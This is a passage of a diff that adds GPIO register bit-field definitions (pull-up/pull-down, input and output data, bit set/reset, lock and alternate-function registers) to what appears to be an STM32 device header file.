GPIO_PUPDR_PUPD1_0 (0x1UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x00000004 */ +#define GPIO_PUPDR_PUPD1_1 (0x2UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x00000008 */ +#define GPIO_PUPDR_PUPD2_Pos (4U) +#define GPIO_PUPDR_PUPD2_Msk (0x3UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000030 */ +#define GPIO_PUPDR_PUPD2 GPIO_PUPDR_PUPD2_Msk +#define GPIO_PUPDR_PUPD2_0 (0x1UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000010 */ +#define GPIO_PUPDR_PUPD2_1 (0x2UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000020 */ +#define GPIO_PUPDR_PUPD3_Pos (6U) +#define GPIO_PUPDR_PUPD3_Msk (0x3UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x000000C0 */ +#define GPIO_PUPDR_PUPD3 GPIO_PUPDR_PUPD3_Msk +#define GPIO_PUPDR_PUPD3_0 (0x1UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x00000040 */ +#define GPIO_PUPDR_PUPD3_1 (0x2UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x00000080 */ +#define GPIO_PUPDR_PUPD4_Pos (8U) +#define GPIO_PUPDR_PUPD4_Msk (0x3UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000300 */ +#define GPIO_PUPDR_PUPD4 GPIO_PUPDR_PUPD4_Msk +#define GPIO_PUPDR_PUPD4_0 (0x1UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000100 */ +#define GPIO_PUPDR_PUPD4_1 (0x2UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000200 */ +#define GPIO_PUPDR_PUPD5_Pos (10U) +#define GPIO_PUPDR_PUPD5_Msk (0x3UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000C00 */ +#define GPIO_PUPDR_PUPD5 GPIO_PUPDR_PUPD5_Msk +#define GPIO_PUPDR_PUPD5_0 (0x1UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000400 */ +#define GPIO_PUPDR_PUPD5_1 (0x2UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000800 */ +#define GPIO_PUPDR_PUPD6_Pos (12U) +#define GPIO_PUPDR_PUPD6_Msk (0x3UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00003000 */ +#define GPIO_PUPDR_PUPD6 GPIO_PUPDR_PUPD6_Msk +#define GPIO_PUPDR_PUPD6_0 (0x1UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00001000 */ +#define GPIO_PUPDR_PUPD6_1 (0x2UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00002000 */ +#define GPIO_PUPDR_PUPD7_Pos (14U) +#define GPIO_PUPDR_PUPD7_Msk (0x3UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x0000C000 */ +#define GPIO_PUPDR_PUPD7 GPIO_PUPDR_PUPD7_Msk +#define GPIO_PUPDR_PUPD7_0 (0x1UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x00004000 */ +#define GPIO_PUPDR_PUPD7_1 (0x2UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x00008000 */ +#define GPIO_PUPDR_PUPD8_Pos (16U) +#define GPIO_PUPDR_PUPD8_Msk (0x3UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00030000 */ +#define GPIO_PUPDR_PUPD8 GPIO_PUPDR_PUPD8_Msk +#define GPIO_PUPDR_PUPD8_0 (0x1UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00010000 */ +#define GPIO_PUPDR_PUPD8_1 (0x2UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00020000 */ +#define GPIO_PUPDR_PUPD9_Pos (18U) +#define GPIO_PUPDR_PUPD9_Msk (0x3UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x000C0000 */ +#define GPIO_PUPDR_PUPD9 GPIO_PUPDR_PUPD9_Msk +#define GPIO_PUPDR_PUPD9_0 (0x1UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x00040000 */ +#define GPIO_PUPDR_PUPD9_1 (0x2UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x00080000 */ +#define GPIO_PUPDR_PUPD10_Pos (20U) +#define GPIO_PUPDR_PUPD10_Msk (0x3UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00300000 */ +#define GPIO_PUPDR_PUPD10 GPIO_PUPDR_PUPD10_Msk +#define GPIO_PUPDR_PUPD10_0 (0x1UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00100000 */ +#define GPIO_PUPDR_PUPD10_1 (0x2UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00200000 */ +#define GPIO_PUPDR_PUPD11_Pos (22U) +#define GPIO_PUPDR_PUPD11_Msk (0x3UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00C00000 */ +#define GPIO_PUPDR_PUPD11 GPIO_PUPDR_PUPD11_Msk +#define GPIO_PUPDR_PUPD11_0 (0x1UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00400000 */ +#define GPIO_PUPDR_PUPD11_1 (0x2UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00800000 */ +#define GPIO_PUPDR_PUPD12_Pos (24U) +#define GPIO_PUPDR_PUPD12_Msk (0x3UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x03000000 */ +#define GPIO_PUPDR_PUPD12 GPIO_PUPDR_PUPD12_Msk +#define GPIO_PUPDR_PUPD12_0 (0x1UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x01000000 */ +#define GPIO_PUPDR_PUPD12_1 (0x2UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x02000000 */ +#define GPIO_PUPDR_PUPD13_Pos (26U) +#define GPIO_PUPDR_PUPD13_Msk (0x3UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x0C000000 */ +#define GPIO_PUPDR_PUPD13 GPIO_PUPDR_PUPD13_Msk +#define GPIO_PUPDR_PUPD13_0 (0x1UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x04000000 */ +#define GPIO_PUPDR_PUPD13_1 (0x2UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x08000000 */ +#define GPIO_PUPDR_PUPD14_Pos (28U) +#define GPIO_PUPDR_PUPD14_Msk (0x3UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x30000000 */ +#define GPIO_PUPDR_PUPD14 GPIO_PUPDR_PUPD14_Msk +#define GPIO_PUPDR_PUPD14_0 (0x1UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x10000000 */ +#define GPIO_PUPDR_PUPD14_1 (0x2UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x20000000 */ +#define GPIO_PUPDR_PUPD15_Pos (30U) +#define GPIO_PUPDR_PUPD15_Msk (0x3UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0xC0000000 */ +#define GPIO_PUPDR_PUPD15 GPIO_PUPDR_PUPD15_Msk +#define GPIO_PUPDR_PUPD15_0 (0x1UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0x40000000 */ +#define GPIO_PUPDR_PUPD15_1 (0x2UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_IDR register *******************/ +#define GPIO_IDR_ID0_Pos (0U) +#define GPIO_IDR_ID0_Msk (0x1UL << GPIO_IDR_ID0_Pos) /*!< 0x00000001 */ +#define GPIO_IDR_ID0 GPIO_IDR_ID0_Msk +#define GPIO_IDR_ID1_Pos (1U) +#define GPIO_IDR_ID1_Msk (0x1UL << GPIO_IDR_ID1_Pos) /*!< 0x00000002 */ +#define GPIO_IDR_ID1 GPIO_IDR_ID1_Msk +#define GPIO_IDR_ID2_Pos (2U) +#define GPIO_IDR_ID2_Msk (0x1UL << GPIO_IDR_ID2_Pos) /*!< 0x00000004 */ +#define GPIO_IDR_ID2 GPIO_IDR_ID2_Msk +#define GPIO_IDR_ID3_Pos (3U) +#define GPIO_IDR_ID3_Msk (0x1UL << GPIO_IDR_ID3_Pos) /*!< 0x00000008 */ +#define GPIO_IDR_ID3 GPIO_IDR_ID3_Msk +#define GPIO_IDR_ID4_Pos (4U) +#define GPIO_IDR_ID4_Msk (0x1UL << GPIO_IDR_ID4_Pos) /*!< 0x00000010 */ +#define GPIO_IDR_ID4 GPIO_IDR_ID4_Msk +#define GPIO_IDR_ID5_Pos (5U) +#define GPIO_IDR_ID5_Msk (0x1UL << GPIO_IDR_ID5_Pos) /*!< 0x00000020 */ +#define GPIO_IDR_ID5 GPIO_IDR_ID5_Msk +#define GPIO_IDR_ID6_Pos (6U) +#define GPIO_IDR_ID6_Msk (0x1UL << GPIO_IDR_ID6_Pos) /*!< 0x00000040 */ +#define GPIO_IDR_ID6 GPIO_IDR_ID6_Msk +#define GPIO_IDR_ID7_Pos (7U) +#define GPIO_IDR_ID7_Msk (0x1UL << GPIO_IDR_ID7_Pos) /*!< 0x00000080 */ +#define GPIO_IDR_ID7 GPIO_IDR_ID7_Msk +#define GPIO_IDR_ID8_Pos (8U) +#define GPIO_IDR_ID8_Msk (0x1UL << GPIO_IDR_ID8_Pos) /*!< 0x00000100 */ +#define GPIO_IDR_ID8 GPIO_IDR_ID8_Msk +#define GPIO_IDR_ID9_Pos (9U) +#define GPIO_IDR_ID9_Msk (0x1UL << GPIO_IDR_ID9_Pos) /*!< 0x00000200 */ +#define GPIO_IDR_ID9 GPIO_IDR_ID9_Msk +#define GPIO_IDR_ID10_Pos (10U) +#define GPIO_IDR_ID10_Msk (0x1UL << GPIO_IDR_ID10_Pos) /*!< 0x00000400 */ +#define GPIO_IDR_ID10 GPIO_IDR_ID10_Msk +#define GPIO_IDR_ID11_Pos (11U) +#define GPIO_IDR_ID11_Msk (0x1UL << GPIO_IDR_ID11_Pos) /*!< 0x00000800 */ +#define GPIO_IDR_ID11 GPIO_IDR_ID11_Msk +#define GPIO_IDR_ID12_Pos (12U) +#define GPIO_IDR_ID12_Msk (0x1UL << GPIO_IDR_ID12_Pos) /*!< 0x00001000 */ +#define GPIO_IDR_ID12 GPIO_IDR_ID12_Msk +#define GPIO_IDR_ID13_Pos (13U) +#define GPIO_IDR_ID13_Msk (0x1UL << GPIO_IDR_ID13_Pos) /*!< 0x00002000 */ +#define GPIO_IDR_ID13 GPIO_IDR_ID13_Msk +#define GPIO_IDR_ID14_Pos (14U) +#define GPIO_IDR_ID14_Msk (0x1UL << GPIO_IDR_ID14_Pos) /*!< 0x00004000 */ +#define GPIO_IDR_ID14 GPIO_IDR_ID14_Msk +#define GPIO_IDR_ID15_Pos (15U) +#define GPIO_IDR_ID15_Msk (0x1UL << GPIO_IDR_ID15_Pos) /*!< 0x00008000 */ +#define GPIO_IDR_ID15 GPIO_IDR_ID15_Msk + +/****************** Bits definition for GPIO_ODR register *******************/ +#define GPIO_ODR_OD0_Pos (0U) +#define GPIO_ODR_OD0_Msk (0x1UL << GPIO_ODR_OD0_Pos) /*!< 0x00000001 */ +#define GPIO_ODR_OD0 GPIO_ODR_OD0_Msk +#define GPIO_ODR_OD1_Pos (1U) +#define GPIO_ODR_OD1_Msk (0x1UL << GPIO_ODR_OD1_Pos) /*!< 0x00000002 */ +#define GPIO_ODR_OD1 GPIO_ODR_OD1_Msk +#define GPIO_ODR_OD2_Pos (2U) +#define GPIO_ODR_OD2_Msk (0x1UL << GPIO_ODR_OD2_Pos) /*!< 0x00000004 */ +#define GPIO_ODR_OD2 GPIO_ODR_OD2_Msk +#define GPIO_ODR_OD3_Pos (3U) +#define GPIO_ODR_OD3_Msk (0x1UL << GPIO_ODR_OD3_Pos) /*!< 0x00000008 */ +#define GPIO_ODR_OD3 GPIO_ODR_OD3_Msk +#define GPIO_ODR_OD4_Pos (4U) +#define GPIO_ODR_OD4_Msk (0x1UL << GPIO_ODR_OD4_Pos) /*!< 0x00000010 */ +#define GPIO_ODR_OD4 GPIO_ODR_OD4_Msk +#define GPIO_ODR_OD5_Pos (5U) +#define GPIO_ODR_OD5_Msk (0x1UL << GPIO_ODR_OD5_Pos) /*!< 0x00000020 */ +#define GPIO_ODR_OD5 GPIO_ODR_OD5_Msk +#define GPIO_ODR_OD6_Pos (6U) +#define GPIO_ODR_OD6_Msk (0x1UL << GPIO_ODR_OD6_Pos) /*!< 0x00000040 */ +#define GPIO_ODR_OD6 GPIO_ODR_OD6_Msk +#define GPIO_ODR_OD7_Pos (7U) +#define GPIO_ODR_OD7_Msk (0x1UL << GPIO_ODR_OD7_Pos) /*!< 0x00000080 */ +#define GPIO_ODR_OD7 GPIO_ODR_OD7_Msk +#define GPIO_ODR_OD8_Pos (8U) +#define GPIO_ODR_OD8_Msk (0x1UL << GPIO_ODR_OD8_Pos) /*!< 0x00000100 */ +#define GPIO_ODR_OD8 GPIO_ODR_OD8_Msk +#define GPIO_ODR_OD9_Pos (9U) +#define GPIO_ODR_OD9_Msk (0x1UL << GPIO_ODR_OD9_Pos) /*!< 0x00000200 */ +#define GPIO_ODR_OD9 GPIO_ODR_OD9_Msk +#define GPIO_ODR_OD10_Pos (10U) +#define GPIO_ODR_OD10_Msk (0x1UL << GPIO_ODR_OD10_Pos) /*!< 0x00000400 */ +#define GPIO_ODR_OD10 GPIO_ODR_OD10_Msk +#define GPIO_ODR_OD11_Pos (11U) +#define GPIO_ODR_OD11_Msk (0x1UL << GPIO_ODR_OD11_Pos) /*!< 0x00000800 */ +#define GPIO_ODR_OD11 GPIO_ODR_OD11_Msk +#define GPIO_ODR_OD12_Pos (12U) +#define GPIO_ODR_OD12_Msk (0x1UL << GPIO_ODR_OD12_Pos) /*!< 0x00001000 */ +#define GPIO_ODR_OD12 GPIO_ODR_OD12_Msk +#define GPIO_ODR_OD13_Pos (13U) +#define GPIO_ODR_OD13_Msk (0x1UL << GPIO_ODR_OD13_Pos) /*!< 0x00002000 */ +#define GPIO_ODR_OD13 GPIO_ODR_OD13_Msk +#define GPIO_ODR_OD14_Pos (14U) +#define GPIO_ODR_OD14_Msk (0x1UL << GPIO_ODR_OD14_Pos) /*!< 0x00004000 */ +#define GPIO_ODR_OD14 GPIO_ODR_OD14_Msk +#define GPIO_ODR_OD15_Pos (15U) +#define GPIO_ODR_OD15_Msk (0x1UL << GPIO_ODR_OD15_Pos) /*!< 0x00008000 */ +#define GPIO_ODR_OD15 GPIO_ODR_OD15_Msk + +/****************** Bits definition for GPIO_BSRR register ******************/ +#define GPIO_BSRR_BS0_Pos (0U) +#define GPIO_BSRR_BS0_Msk (0x1UL << GPIO_BSRR_BS0_Pos) /*!< 0x00000001 */ +#define GPIO_BSRR_BS0 GPIO_BSRR_BS0_Msk +#define GPIO_BSRR_BS1_Pos (1U) +#define GPIO_BSRR_BS1_Msk (0x1UL << GPIO_BSRR_BS1_Pos) /*!< 0x00000002 */ +#define GPIO_BSRR_BS1 GPIO_BSRR_BS1_Msk +#define GPIO_BSRR_BS2_Pos (2U) +#define GPIO_BSRR_BS2_Msk (0x1UL << GPIO_BSRR_BS2_Pos) /*!< 0x00000004 */ +#define GPIO_BSRR_BS2 GPIO_BSRR_BS2_Msk +#define GPIO_BSRR_BS3_Pos (3U) +#define GPIO_BSRR_BS3_Msk (0x1UL << GPIO_BSRR_BS3_Pos) /*!< 0x00000008 */ +#define GPIO_BSRR_BS3 GPIO_BSRR_BS3_Msk +#define GPIO_BSRR_BS4_Pos (4U) +#define GPIO_BSRR_BS4_Msk (0x1UL << GPIO_BSRR_BS4_Pos) /*!< 0x00000010 */ +#define GPIO_BSRR_BS4 GPIO_BSRR_BS4_Msk +#define GPIO_BSRR_BS5_Pos (5U) +#define GPIO_BSRR_BS5_Msk (0x1UL << GPIO_BSRR_BS5_Pos) /*!< 0x00000020 */ +#define GPIO_BSRR_BS5 GPIO_BSRR_BS5_Msk +#define GPIO_BSRR_BS6_Pos (6U) +#define GPIO_BSRR_BS6_Msk (0x1UL << GPIO_BSRR_BS6_Pos) /*!< 0x00000040 */ +#define GPIO_BSRR_BS6 GPIO_BSRR_BS6_Msk +#define GPIO_BSRR_BS7_Pos (7U) +#define GPIO_BSRR_BS7_Msk (0x1UL << GPIO_BSRR_BS7_Pos) /*!< 0x00000080 */ +#define GPIO_BSRR_BS7 GPIO_BSRR_BS7_Msk +#define GPIO_BSRR_BS8_Pos (8U) +#define GPIO_BSRR_BS8_Msk (0x1UL << GPIO_BSRR_BS8_Pos) /*!< 0x00000100 */ +#define GPIO_BSRR_BS8 GPIO_BSRR_BS8_Msk +#define GPIO_BSRR_BS9_Pos (9U) +#define GPIO_BSRR_BS9_Msk (0x1UL << GPIO_BSRR_BS9_Pos) /*!< 0x00000200 */ +#define GPIO_BSRR_BS9 GPIO_BSRR_BS9_Msk +#define GPIO_BSRR_BS10_Pos (10U) +#define GPIO_BSRR_BS10_Msk (0x1UL << GPIO_BSRR_BS10_Pos) /*!< 0x00000400 */ +#define GPIO_BSRR_BS10 GPIO_BSRR_BS10_Msk +#define GPIO_BSRR_BS11_Pos (11U) +#define GPIO_BSRR_BS11_Msk (0x1UL << GPIO_BSRR_BS11_Pos) /*!< 0x00000800 */ +#define GPIO_BSRR_BS11 GPIO_BSRR_BS11_Msk +#define GPIO_BSRR_BS12_Pos (12U) +#define GPIO_BSRR_BS12_Msk (0x1UL << GPIO_BSRR_BS12_Pos) /*!< 0x00001000 */ +#define GPIO_BSRR_BS12 GPIO_BSRR_BS12_Msk +#define GPIO_BSRR_BS13_Pos (13U) +#define GPIO_BSRR_BS13_Msk (0x1UL << GPIO_BSRR_BS13_Pos) /*!< 0x00002000 */ +#define GPIO_BSRR_BS13 GPIO_BSRR_BS13_Msk +#define GPIO_BSRR_BS14_Pos (14U) +#define GPIO_BSRR_BS14_Msk (0x1UL << GPIO_BSRR_BS14_Pos) /*!< 0x00004000 */ +#define GPIO_BSRR_BS14 GPIO_BSRR_BS14_Msk +#define GPIO_BSRR_BS15_Pos (15U) +#define GPIO_BSRR_BS15_Msk (0x1UL << GPIO_BSRR_BS15_Pos) /*!< 0x00008000 */ +#define GPIO_BSRR_BS15 GPIO_BSRR_BS15_Msk +#define GPIO_BSRR_BR0_Pos (16U) +#define GPIO_BSRR_BR0_Msk (0x1UL << GPIO_BSRR_BR0_Pos) /*!< 0x00010000 */ +#define GPIO_BSRR_BR0 GPIO_BSRR_BR0_Msk +#define GPIO_BSRR_BR1_Pos (17U) +#define GPIO_BSRR_BR1_Msk (0x1UL << GPIO_BSRR_BR1_Pos) /*!< 0x00020000 */ +#define GPIO_BSRR_BR1 GPIO_BSRR_BR1_Msk +#define GPIO_BSRR_BR2_Pos (18U) +#define GPIO_BSRR_BR2_Msk (0x1UL << GPIO_BSRR_BR2_Pos) /*!< 0x00040000 */ +#define GPIO_BSRR_BR2 GPIO_BSRR_BR2_Msk +#define GPIO_BSRR_BR3_Pos (19U) +#define GPIO_BSRR_BR3_Msk (0x1UL << GPIO_BSRR_BR3_Pos) /*!< 0x00080000 */ +#define GPIO_BSRR_BR3 GPIO_BSRR_BR3_Msk +#define GPIO_BSRR_BR4_Pos (20U) +#define GPIO_BSRR_BR4_Msk (0x1UL << GPIO_BSRR_BR4_Pos) /*!< 0x00100000 */ +#define GPIO_BSRR_BR4 GPIO_BSRR_BR4_Msk +#define GPIO_BSRR_BR5_Pos (21U) +#define GPIO_BSRR_BR5_Msk (0x1UL << GPIO_BSRR_BR5_Pos) /*!< 0x00200000 */ +#define GPIO_BSRR_BR5 GPIO_BSRR_BR5_Msk +#define GPIO_BSRR_BR6_Pos (22U) +#define GPIO_BSRR_BR6_Msk (0x1UL << GPIO_BSRR_BR6_Pos) /*!< 0x00400000 */ +#define GPIO_BSRR_BR6 GPIO_BSRR_BR6_Msk +#define GPIO_BSRR_BR7_Pos (23U) +#define GPIO_BSRR_BR7_Msk (0x1UL << GPIO_BSRR_BR7_Pos) /*!< 0x00800000 */ +#define GPIO_BSRR_BR7 GPIO_BSRR_BR7_Msk +#define GPIO_BSRR_BR8_Pos (24U) +#define GPIO_BSRR_BR8_Msk (0x1UL << GPIO_BSRR_BR8_Pos) /*!< 0x01000000 */ +#define GPIO_BSRR_BR8 GPIO_BSRR_BR8_Msk +#define GPIO_BSRR_BR9_Pos (25U) +#define GPIO_BSRR_BR9_Msk (0x1UL << GPIO_BSRR_BR9_Pos) /*!< 0x02000000 */ +#define GPIO_BSRR_BR9 GPIO_BSRR_BR9_Msk +#define GPIO_BSRR_BR10_Pos (26U) +#define GPIO_BSRR_BR10_Msk (0x1UL << GPIO_BSRR_BR10_Pos) /*!< 0x04000000 */ +#define GPIO_BSRR_BR10 GPIO_BSRR_BR10_Msk +#define GPIO_BSRR_BR11_Pos (27U) +#define GPIO_BSRR_BR11_Msk (0x1UL << GPIO_BSRR_BR11_Pos) /*!< 0x08000000 */ +#define GPIO_BSRR_BR11 GPIO_BSRR_BR11_Msk +#define GPIO_BSRR_BR12_Pos (28U) +#define GPIO_BSRR_BR12_Msk (0x1UL << GPIO_BSRR_BR12_Pos) /*!< 0x10000000 */ +#define GPIO_BSRR_BR12 GPIO_BSRR_BR12_Msk +#define GPIO_BSRR_BR13_Pos (29U) +#define GPIO_BSRR_BR13_Msk (0x1UL << GPIO_BSRR_BR13_Pos) /*!< 0x20000000 */ +#define GPIO_BSRR_BR13 GPIO_BSRR_BR13_Msk +#define GPIO_BSRR_BR14_Pos (30U) +#define GPIO_BSRR_BR14_Msk (0x1UL << GPIO_BSRR_BR14_Pos) /*!< 0x40000000 */ +#define GPIO_BSRR_BR14 GPIO_BSRR_BR14_Msk +#define GPIO_BSRR_BR15_Pos (31U) +#define GPIO_BSRR_BR15_Msk (0x1UL << GPIO_BSRR_BR15_Pos) /*!< 0x80000000 */ +#define GPIO_BSRR_BR15 GPIO_BSRR_BR15_Msk + +/****************** Bit definition for GPIO_LCKR register *********************/ +#define GPIO_LCKR_LCK0_Pos (0U) +#define GPIO_LCKR_LCK0_Msk (0x1UL << GPIO_LCKR_LCK0_Pos) /*!< 0x00000001 */ +#define GPIO_LCKR_LCK0 GPIO_LCKR_LCK0_Msk +#define GPIO_LCKR_LCK1_Pos (1U) +#define GPIO_LCKR_LCK1_Msk (0x1UL << GPIO_LCKR_LCK1_Pos) /*!< 0x00000002 */ +#define GPIO_LCKR_LCK1 GPIO_LCKR_LCK1_Msk +#define GPIO_LCKR_LCK2_Pos (2U) +#define GPIO_LCKR_LCK2_Msk (0x1UL << GPIO_LCKR_LCK2_Pos) /*!< 0x00000004 */ +#define GPIO_LCKR_LCK2 GPIO_LCKR_LCK2_Msk +#define GPIO_LCKR_LCK3_Pos (3U) +#define GPIO_LCKR_LCK3_Msk (0x1UL << GPIO_LCKR_LCK3_Pos) /*!< 0x00000008 */ +#define GPIO_LCKR_LCK3 GPIO_LCKR_LCK3_Msk +#define GPIO_LCKR_LCK4_Pos (4U) +#define GPIO_LCKR_LCK4_Msk (0x1UL << GPIO_LCKR_LCK4_Pos) /*!< 0x00000010 */ +#define GPIO_LCKR_LCK4 GPIO_LCKR_LCK4_Msk +#define GPIO_LCKR_LCK5_Pos (5U) +#define GPIO_LCKR_LCK5_Msk (0x1UL << GPIO_LCKR_LCK5_Pos) /*!< 0x00000020 */ +#define GPIO_LCKR_LCK5 GPIO_LCKR_LCK5_Msk +#define GPIO_LCKR_LCK6_Pos (6U) +#define GPIO_LCKR_LCK6_Msk (0x1UL << GPIO_LCKR_LCK6_Pos) /*!< 0x00000040 */ +#define GPIO_LCKR_LCK6 GPIO_LCKR_LCK6_Msk +#define GPIO_LCKR_LCK7_Pos (7U) +#define GPIO_LCKR_LCK7_Msk (0x1UL << GPIO_LCKR_LCK7_Pos) /*!< 0x00000080 */ +#define GPIO_LCKR_LCK7 GPIO_LCKR_LCK7_Msk +#define GPIO_LCKR_LCK8_Pos (8U) +#define GPIO_LCKR_LCK8_Msk (0x1UL << GPIO_LCKR_LCK8_Pos) /*!< 0x00000100 */ +#define GPIO_LCKR_LCK8 GPIO_LCKR_LCK8_Msk +#define GPIO_LCKR_LCK9_Pos (9U) +#define GPIO_LCKR_LCK9_Msk (0x1UL << GPIO_LCKR_LCK9_Pos) /*!< 0x00000200 */ +#define GPIO_LCKR_LCK9 GPIO_LCKR_LCK9_Msk +#define GPIO_LCKR_LCK10_Pos (10U) +#define GPIO_LCKR_LCK10_Msk (0x1UL << GPIO_LCKR_LCK10_Pos) /*!< 0x00000400 */ +#define GPIO_LCKR_LCK10 GPIO_LCKR_LCK10_Msk +#define GPIO_LCKR_LCK11_Pos (11U) +#define GPIO_LCKR_LCK11_Msk (0x1UL << GPIO_LCKR_LCK11_Pos) /*!< 0x00000800 */ +#define GPIO_LCKR_LCK11 GPIO_LCKR_LCK11_Msk +#define GPIO_LCKR_LCK12_Pos (12U) +#define GPIO_LCKR_LCK12_Msk (0x1UL << GPIO_LCKR_LCK12_Pos) /*!< 0x00001000 */ +#define GPIO_LCKR_LCK12 GPIO_LCKR_LCK12_Msk +#define GPIO_LCKR_LCK13_Pos (13U) +#define GPIO_LCKR_LCK13_Msk (0x1UL << GPIO_LCKR_LCK13_Pos) /*!< 0x00002000 */ +#define GPIO_LCKR_LCK13 GPIO_LCKR_LCK13_Msk +#define GPIO_LCKR_LCK14_Pos (14U) +#define GPIO_LCKR_LCK14_Msk (0x1UL << GPIO_LCKR_LCK14_Pos) /*!< 0x00004000 */ +#define GPIO_LCKR_LCK14 GPIO_LCKR_LCK14_Msk +#define GPIO_LCKR_LCK15_Pos (15U) +#define GPIO_LCKR_LCK15_Msk (0x1UL << GPIO_LCKR_LCK15_Pos) /*!< 0x00008000 */ +#define GPIO_LCKR_LCK15 GPIO_LCKR_LCK15_Msk +#define GPIO_LCKR_LCKK_Pos (16U) +#define GPIO_LCKR_LCKK_Msk (0x1UL << GPIO_LCKR_LCKK_Pos) /*!< 0x00010000 */ +#define GPIO_LCKR_LCKK GPIO_LCKR_LCKK_Msk + +/****************** Bit definition for GPIO_AFRL register *********************/ +#define GPIO_AFRL_AFSEL0_Pos (0U) +#define GPIO_AFRL_AFSEL0_Msk (0xFUL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x0000000F */ +#define GPIO_AFRL_AFSEL0 GPIO_AFRL_AFSEL0_Msk +#define GPIO_AFRL_AFSEL0_0 (0x1UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000001 */ +#define GPIO_AFRL_AFSEL0_1 (0x2UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000002 */ +#define GPIO_AFRL_AFSEL0_2 (0x4UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000004 */ +#define GPIO_AFRL_AFSEL0_3 (0x8UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000008 */ +#define GPIO_AFRL_AFSEL1_Pos (4U) +#define GPIO_AFRL_AFSEL1_Msk (0xFUL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x000000F0 */ +#define GPIO_AFRL_AFSEL1 GPIO_AFRL_AFSEL1_Msk +#define GPIO_AFRL_AFSEL1_0 (0x1UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000010 */ +#define GPIO_AFRL_AFSEL1_1 (0x2UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000020 */ +#define GPIO_AFRL_AFSEL1_2 (0x4UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000040 */ +#define GPIO_AFRL_AFSEL1_3 (0x8UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000080 */ +#define GPIO_AFRL_AFSEL2_Pos (8U) +#define GPIO_AFRL_AFSEL2_Msk (0xFUL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000F00 */ +#define GPIO_AFRL_AFSEL2 GPIO_AFRL_AFSEL2_Msk +#define GPIO_AFRL_AFSEL2_0 (0x1UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000100 */ +#define GPIO_AFRL_AFSEL2_1 (0x2UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000200 */ +#define GPIO_AFRL_AFSEL2_2 (0x4UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000400 */ +#define GPIO_AFRL_AFSEL2_3 (0x8UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000800 */ +#define GPIO_AFRL_AFSEL3_Pos (12U) +#define GPIO_AFRL_AFSEL3_Msk (0xFUL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x0000F000 */ +#define GPIO_AFRL_AFSEL3 GPIO_AFRL_AFSEL3_Msk +#define GPIO_AFRL_AFSEL3_0 (0x1UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00001000 */ +#define GPIO_AFRL_AFSEL3_1 (0x2UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00002000 */ +#define GPIO_AFRL_AFSEL3_2 (0x4UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00004000 */ +#define GPIO_AFRL_AFSEL3_3 (0x8UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00008000 */ +#define GPIO_AFRL_AFSEL4_Pos (16U) +#define GPIO_AFRL_AFSEL4_Msk (0xFUL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x000F0000 */ +#define GPIO_AFRL_AFSEL4 GPIO_AFRL_AFSEL4_Msk +#define GPIO_AFRL_AFSEL4_0 (0x1UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00010000 */ +#define GPIO_AFRL_AFSEL4_1 (0x2UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00020000 */ +#define GPIO_AFRL_AFSEL4_2 